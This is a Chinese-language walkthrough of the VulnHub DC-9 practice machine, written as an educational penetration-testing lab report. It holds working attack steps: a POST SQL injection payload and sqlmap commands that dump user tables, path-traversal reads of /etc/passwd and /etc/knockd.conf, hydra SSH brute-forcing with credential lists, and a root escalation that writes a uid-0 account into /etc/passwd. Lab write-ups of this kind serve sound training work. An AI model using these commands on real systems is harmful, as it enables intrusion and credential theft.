vulnhub靶场之DC-9

一.环境搭建

1.靶场描述

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-9,412
 

image-20240109150106054

3.启动靶场

image-20240109150139977

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240109150619965

arp-scan -l
 

image-20240109150719519

靶场的真实ip地址是192.168.52.131

(2)探测端口及服务

nmap -A -v -p- 192.168.52.131
 

image-20240109151001815

注意到ssh服务端口是filtered的,可能是因为什么原因关闭了

image-20240109151534928

发现开放了80端口,APache httpd 2.4.38((debian))
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.131
 

image-20240109151721992

(3)web指纹识别

whatweb -v 192.168.52.131
 

image-20240109152351370

3.渗透测试

(1)访问web服务

http://192.168.52.131
 

image-20240109152800589

没有如何有用的信息

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.130
 

image-20240109153022173

2)nikto扫描网站结构
nikto -h http://192.168.52.131
 

image-20240109153211906

上面两个都没有扫描到有用的信息

3)dirsearch目录扫描
dirsearch -u 192.168.52.131 -e * -x 403 --random-agent
 

image-20240109153525872

我们可以看到扫描到2个有用的信息,一个/inex.php/login,一个/manage.php

我们分别访问

image-20240109153727723

image-20240109153741635

我们可以看到是一个登录页面,看来需要我们进行登录,但是不知道用户名和密码,我们对页面进行探测

(3)渗透测试

1)页面探测

image-20240109155037059

我们可以看到4个页面,我们一一进行探测,最后发现search存在POST型SQL注入

image-20240109155648721

2)SQL注入

我们进行测试

search=1
 

image-20240109160220516

search=1' or 1#
 

image-20240109160154425

证明存在SQL注入,我们使用sqlmap进行爆破

爆破数据库

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1'sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --dbs
 

image-20240109164603256

image-20240109164639922

我们看到存在3个数据库,我们爆破 Staff

爆破表名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' --tables
 

image-20240109165121805

image-20240109164955448

爆破字段名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' --columns
 

image-20240109165142093

image-20240109165200750

爆破用户名和密码

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'UserID,Username,Password' --dump
 

image-20240109165352353

image-20240109165414955

我们可以看到只有一个用户名和密码,密码是md5加密的,我们进行解密即可

image-20240109170603479

密码是transorbital1

3)登录后台

我们接着用该密码登入后台

image-20240109170740474

就多了个Add Record界面,注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,接着用参数fuzz测试一下

burpsuite抓包,构建payload

?§§=../../../../../etc/passwd
 

image-20240109204619893

然后再把我们的参数字典加载进来

image-20240109201834786

image-20240109203037986

image-20240109204228910

参数名是file,存在目录遍历漏洞

4)端口敲门服务

考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

构造payload

/manage.php?file=../../../../../etc/knockd.conf
 

image-20240109204350312

果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

nc -z 192.168.52.131 7469 8475 9842
 

image-20240109205447903

敲击完后发现端口打开了

5)ssh爆破

我们使用ssh进行登录,发现登录不了

image-20240109205934820

想起之前SQLmap跑出过一个users的数据库, 存放网站用户信息的,我们去瞧一下

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump
 

image-20240109210151740

image-20240109210218085

用这些账号密码组成字典,爆破ssh

username.txt

marym 
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
 

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
 

接下来用九头蛇进行爆破

hydra -L username.txt -P password.txt ssh://192.168.52.131
 

image-20240109210739070

爆破出来3个用户名和密码

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
 

尝试登入发现janitor用户有东西

image-20240109211236603

image-20240109211115878

有几个密码,复制到刚才的password文件继续爆破ssh

image-20240109211616657

新添加了一个用户

我们进行登录

image-20240109211756620

image-20240109212239263

发现有个root权限文件

6) 提权

发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

image-20240109212533285

我们查看文件内容

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt MS02423 MS02423
 

得到hash密码,

$1$MS02423$xCJ3D9eufDuODS1PBNjp51
 

我们切换到tmp目录下,新建一个文件

cd /tmp
echo 'MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash' > MS02423
 

image-20240109220506874

再回到/opt/devstuff/dist/test目录,执行程序test,将MS02423的文件内容写入到/etc/passwd文件里面

cd /opt/devstuff/dist/testsudo ./test /tmp/MS02423 /etc/passwd
 

image-20240109214004115

可以看到MS02423用户已经添加到/etc/passwd文件里了,接下来然后使用命令su MS02423 切换到我们添加的MS02423用户,输入之前设置好密码即可登录

跳转到/root目录下,成功看到flag

image-20240109215910411

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.burp工具的使用

9.dirsearch目录扫描

10.SQL注入

11.ssh登录

12.openssl命令

13.端口敲门服务

14.hydra爆破

15.目录遍历漏洞

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/625705.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Flink会话集群docker-compose一键安装

1、安装docker 参考&#xff0c;本人这篇博客&#xff1a;https://blog.csdn.net/taotao_guiwang/article/details/135508643?spm1001.2014.3001.5501 2、flink-conf.yaml flink-conf.yaml放在/home/flink/conf/job、/home/flink/conf/task下面&#xff0c;flink-conf.yaml…

C++输入输出和文件

文章目录 一. 流, 缓冲区和iostream文件二. 使用cout进行输出1. 用cout进行格式化2. 刷新输出缓冲区 三. 使用cin进行输入1. cin>>如何检查输入2. 流状态3. 其他istream类方法 四. 文件输入和输出1. 简单的文件I/O2. 文件模式3. 随机存取4. 内核格式化 To be continue...…

jmeter--6.跨线程组关联

目录 1. 跨线程组实现接口关联 2. 跨线程组实现Cookie关联 1. 跨线程组实现接口关联 1.1 根据json/正则的方式提取到需要的响应数据 1.2 在接口下新增一个BeanShell 后置处理器&#xff0c;并通过函数助手写入【${__setProperty(new_token,${access_token},)}】&#xff0c;…

Unet系列网络解析

Unet UNet最早发表在2015的MICCAI上&#xff0c;到2020年中旬的引用量已经超过了9700多次&#xff0c;估计现在都过万了&#xff0c;从这方面看足以见得其影响力。当然&#xff0c;UNet这个基本的网络结构有太多的改进型&#xff0c;应用范围已经远远超出了医学图像的范畴。我…

命名空间 “Eigen“ 没有成员 “SelfAdjointEigenSolver“

代码中用到SelfAdjointEigenSolver 结果报错&#xff1a;报错实在windows10条件下发生的。 查找资料&#xff0c;最后还是要定位到官方文档。 计算自伴随矩阵的特征值和特征向量。 这是在特征值模块中定义的。 添加如下引用即可解决&#xff0c;请点赞关注。 #include <…

设备之AP555【之一】

1、Audio Precision官网 Audio Precision 是声学及音频测试中公认的标准。AP提供了高性能声学和音频分析仪&#xff0c;配件和应用程序&#xff0c;帮助全球工程师设计&#xff0c;验证和制造消费电子、专业和工业的声学和音频产品。 APX555B 是具有三十年经验的测试设备&…

Java项目:120SpringBoot婚恋网站

博主主页&#xff1a;Java旅途 简介&#xff1a;分享计算机知识、学习路线、系统源码及教程 文末获取源码 一、项目介绍 婚恋网站是由SpringBootMybatis开发的&#xff0c;功能详细&#xff0c;满足婚恋网的基本要求。 主要功能如下&#xff1a; 登录注册用户浏览用户搜索成…

2024年腾讯云服务器多少钱1年?超便宜62元一年

腾讯云服务器租用价格表&#xff1a;轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年&#xff0c;540元三年、2核4G5M带宽218元一年&#xff0c;2核4G5M带宽756元三年、轻量4核8G12M服务器446元一年、646元15个月&#xff0c;云服务器CVM S5实例2核2G配置280.8元一年…

springCould中的Hystrix【下】-从小白开始【8】

目录 &#x1f9c2;1.熔断机制❤️❤️❤️ &#x1f32d;2.修改8001服务 ❤️❤️❤️ &#x1f95e;3.测试 ❤️❤️❤️ &#x1f953;4. 服务监控hystrixDashboard❤️❤️❤️ &#x1f32d;5.仪表盘❤️❤️❤️ &#x1f9c2;6.仪表盘的使用 ❤️❤️❤️ 1.熔断机…

数据库SELECT语句

文章目录 一、检索数据二、排序检索三、过滤数据四、数据过滤4.1 组合WHERE子句1. AND操作符2. OR操作符3. 计算次序 4.2 IN操作符4.3 NOT操作符 五、用通配符过滤LIKE操作符1. 百分号&#xff08;%&#xff09;通配符2. 下划线&#xff08;_&#xff09;通配符 使用通配符的技…

【Kotlin】协程的字节码原理

前言 协程是Koltin语言最重要的特性之一&#xff0c;也是最难理解的特性。网上关于kotlin协程的描述也是五花八门&#xff0c;有人说它是轻量级线程&#xff0c;有人说它是无阻塞式挂起&#xff0c;有人说它是一个异步框架等等&#xff0c;众说纷芸。甚至还有人出了书籍专门介…

transbigdata笔记:可视化

1 可视化轨迹 transbigdata.visualization_trip(trajdata, col[Lng, Lat, ID, Time], zoomauto, height500) 例子见transbigdata 笔记&#xff1a;官方文档案例1&#xff08;出租车GPS数据处理&#xff09;-CSDN博客 2 可视化od transbigdata.visualization_od(oddata, col…

【分布式技术】监控平台zabbix对接grafana,优化dashboard

目录 第一步&#xff1a;在zabbix server服务端安装grafana&#xff0c;并启动 第二步&#xff1a; 访问http://ip:3000/login 第三步&#xff1a;创建数据源 第四步&#xff1a;导入dashboard模板 ps&#xff1a;自定义创建新面板 第一步&#xff1a;在zabbix server服务…

Java线上问题堆栈排查分析

最近线上出现类似内存溢出问题&#xff0c;需要排查具体原因&#xff0c;记录过程&#xff0c;方便备查。 一、数据抓取 在启动参数中添加参数&#xff0c;可参照以下设置。 参数的作用是在程序发生内存溢出 OutOfMemory 时打印日志&#xff0c;dump下来&#xff0c;方便用工…

leetcode 206翻转链表

题目&#xff1a; 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 提示&#xff1a; 链表中节点的数目范围是 [0, 5000] -5000 < Node.val < 5000 解法&#xff1a; 思路 使用双指针&#xff0c;pre,定义当前指针cur&#xff0…

入门Docker1: 容器技术的基础

目录 服务器选型 虚拟机 基于主机(物理机或虚机)的多服务实例 基于容器的服务实例 Docker Docker三要素 Docker安装 Docker基本使用 基本操作 仓库镜像 容器 服务器选型 在选择服务器操作系统时&#xff0c; Windows 附带了许多您需要付费的功能。 Linux 是开放源代…

Could not find annotations-4.9.0.jar 异常

问题 org.gradle.internal.resolve.ArtifactNotFoundException: Could not find annotations-4.9.0.jar (com.github.bumptech.glide:annotations:4.9.0).原因 解决方式 repositories {google()//谷歌放前面jcenter()//放在谷歌后面}更换顺序后确实没问题了 参考文章 https:…

Python接口自动化测试项目实战

1.1 接口测试项目搭建 1.1.1 教育局招生管理系统部署 教育局招生管理系统是基于javamysql,下面介绍它的部署过程。 1.从我的网盘下载部署文件。 2.安装jdk以及配置环境变量。 点击 文件进行安装。 下一步下一步直接安装。 本人的安装路径是C:\Program Files\Java\jdk1.7.…

解决Vue 3 + Element Plus树形表格全选多选以及子节点勾选的问题

目录 前言 问题概述 解决方案 1. 创建树形表格 2. 实现全选功能 3. 实现多选功能 4. 实现子节点勾选 5. 实现父节点勾选 总结 前言 作者简介&#xff1a; 懒大王敲代码&#xff0c;计算机专业应届生 今天给大家聊聊解决Vue 3 Element Plus树形表格全选多选以及子节…

【MATLAB】EEMD+FFT+HHT组合算法

代码原理 EEMD&#xff08;经验模态分解&#xff09;FFT&#xff08;快速傅里叶变换&#xff09;HHT&#xff08;希尔伯特-黄变换&#xff09;组合算法是一种常用的信号处理和分析方法。这个组合算法包含了EEMD、FFT和HHT三个步骤&#xff0c;可以用于处理非线性和非平稳信号。…